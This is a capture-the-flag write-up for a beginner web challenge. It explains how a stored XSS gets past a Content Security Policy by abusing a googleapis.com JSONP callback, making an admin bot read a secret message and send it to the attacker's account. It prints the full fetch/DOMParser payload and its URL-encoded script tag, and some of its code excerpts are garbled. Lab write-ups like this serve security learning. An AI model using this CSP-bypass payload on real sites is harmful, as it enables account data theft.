

Cyber Apocalypse CTF 2026: The Salt Crown

Name: Massagold

Description:

Someone is using sealed harbor letters to make Damas's ships look late, unsafe, and unreliable. If this continues, Eastreach merchants will leave his ports and his enemies will profit from the panic. Lyra needs to steal the first false letter from the harbor office and bring it to Damas, because proof of sabotage is the only thing that can make him open his routes to Stormbound.

Category: web

Difficulty: Very Easy

The challenge is a messaging system for sending messages across accounts which you can create and log into that is about it
It is a NodeJS app.

Before I start searching for a vulnerability I usually first **check where the flag is** or how is it put so I can focus my attention it.

There are a couple of .js files but I would say the most interesting one is entrypoint.js

If you scroll down around the middle of the file you will see a function being called createMessage which takes two users and a message as values

```
await createMessage(  
  users.archivist,  
  users.admin,  
  `Archive notice:\n\nThe sealed royal record reads:\n${flag}`  
);
```

This function tells us that the user Archivist sends a message to user **Admin** containing the flag.

My **first couple of ideas** that popped sounded promising but were quickly **shut down**, first I thought maybe we can guess admin's password, unfortunately it is a 24 random byte string, so that will not be it

```
const { close, get, headers, run } = require('puppeteer');

function randomPassword() {
  return crypto.randomBytes(24).toString('base64url');
}
```

I also was thinking of some race condition where I can create the admin user before it was created and archivist could send me the message but that wouldn't work since the URL link gets provided to you way after the app has been spawned

That would leave us with either SQL injection or some **XSS** shenanigans. After searching the other files I was able to find that there is a **bot.js** file

The bot spawns and log in on the admin account waits for `enqueueMessage` and opens the URL of a newly sent to it message

```
1
2  async function visitMessage(messageId) {
3    const browser = await firefox.launch({
4      skipTop/challenge/app/public true
5    });
6    const context = await browser.newContext();
7
8    try {
9      const page = await context.newPage();
10     const targetUrl = appUrl(`/messages/${encodeURIComponent(messageId)}`);
11
12     await loginAsAdmin(page);
13     console.log(`Admin bot visiting ${targetUrl}`);
14     await page.goto(targetUrl, {
15       waitUntil: 'load',
16       timeout: VISIT_TIMEOUT_MS
17     });
18     await page.waitForTimeout(WAIT_AFTER_LOAD_MS);
19   } finally {
20     await context.close().catch(() => {});
21     await browser.close().catch(() => {});
22   }
23 }
```

So if we send it a message **the bot will open it**. This led me more strongly towards an XSS rather than an SQL injection, besides I had already looked though and the SQL queries were pretty securely implemented.

My next train of thought was that we need to find an XSS so I tried to send a message to myself and try some common payloads like

```

```

But they did not work, HTML tags did work but explicitly invoking script for some reason did not work, meaning that there might be some protection against XSS.

When I was doing the challenge I had no idea what CSP was, but this challenge helped me understand it.

Content Security Policy (CSP) is a web browser security tool used to prevent cross-site scripting, clickjacking, and code injection attacks.

It works by letting site owners declare approved sources of content using specific rules. These rules in this case have been declared in **server.js**

```
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    [
      "default-src 'self'",
      "script-src 'self' https://www.googleapis.com",
      "style-src 'self'",
      "img-src 'self' data:",
      "font-src 'self' data:",
      "connect-src 'self'",
      "object-src 'none'",
      "form-action 'self'",
      "frame-ancestors 'none'"
    ].join('; ')
  );
  next();
});
```

script-src defines which script sources the browser is allowed to execute.

'self' means scripts can be loaded from the same origin as the page, for example:

```
<script src="/js/app.js"></script>
```

So Regular stored XSS payloads did not execute because the CSP blocked inline JavaScript.

If you observed the code correctly, you should have seen also that here is a link <https://www.googleapis.com>

This is the official domain name used by Google to host its backend application programming interfaces

So the only two places that can load JS scripts are js scripts on the server and from that link. And since there isn't a way to upload or manipulate the .js files on the server the URL is suspicious enough to be further checked

With a little search and help from AI I found there is a thing called JSONP on this url:

JSONP (JSON with Padding) on Google APIs (*.googleapis.com) is a legacy technique that wraps JSON responses in a JavaScript function call via a callback query parameter.

In plain terms this Parameter can store our value
<https://www.googleapis.com/customsearch/v1?callback=>

So if we do smething like

```
<script  
src="https://www.googleapis.com/customsearch/v1?callback=alert">  
</script>
```

It will get executed since it is allowed by the CSP
After testing it, it seems like it works

🌐 127.0.0.1:8081

[object Object]

OK

Now the first thing that comes to mind is to just fetch the admins cookie however that would not work since the site is HttpOnly

However the actual solution would be to make the bot

- 1. Open our message so the XSS executes**
- 2. Make the bot open the message he got with the flag**
- 3. And make him send a message to us with the Flag**

I was able to build this script

```
(async function() {  
  let response=await fetch('/messages/1');  
  let html=await response.text();  
  let flag=new  
  DOMParser().parseFromString(html,'text/html').querySelector('pre').textCon  
  tent.trim();  
  await fetch('/messages', {  
    method:'POST',body:new  
    URLSearchParams({to_username:'ivo',content:flag})  
  });  
})  
();
```

it fetches the message with the flag, it is always id one, I cannot gurantee that 100% but from the code we know that this Is the first message that

gets sent, and also there are 5 other messages sent from other accounts
And if you make a test to yourself you will see that ids start from 6
somewhere
then we get the response and send a post request back to us with the
content we have extracted.

Then we just URL encode it and send it with the url and <script> tag
<script

```
src="https://www.googleapis.com/customsearch/v1?callback=%28async%20function%28%29%7Blet%20response%3Dawait%20fetch%28%27%2Fmessages%2F16%27%29%3Blet%20html%3Dawait%20response.text%28%29%3Blet%20flag%3Dnew%20DOMParser%28%29.parseFromString%28html%2C%27text%2Fhtml%27%29.querySelector%28%27pre%27%29.textContent.trim%28%29%3Bawait%20fetch%28%27%2Fmessages%27%2C%7Bmethod%3A%27POST%27%2Cbody%3Anew%20URLSearchParams%28%7Bto_username%3A%27ivo%27%2Ccontent%3Aflag%7D%29%7D%29%3B%7D%29%28%29%3B"%29></script>
```

Before sending it I had a couple of issues.

First arrows got parsed (to \u003e) strangely by the google endpoint so it did not work, also I had to make sure that the url is super encoded not only partly. You can test it locally sending to yourself and receive some other message with id and you can check for any console errors. Also make sure you send in only the text of the pre tag, if you send the whole html, it will

get parsed

```
← → ↺ 🏠  
OffSec 🐧 Kali Linux 🌐 Ka  
  
// API callback  
\u003e(async function(){let r  
URLSearchParams({to_username:  
  "error": {  
    "code": 400,  
    "message": "Invalid JSONP  
messages',{method:'POST',body  
  "errors": [  
    {  
      "message": "Invalid J  
messages',{method:'POST',body  
      "domain": "global",  
      "reason": "badRequest  
    }  
  ],  
  "status": "INVALID_ARGUME  
}  
});
```



This challenge thaght me what CSP was and how to write javascript fetch requests and how to parse them.

Made by [Ivailo Klisarov](#)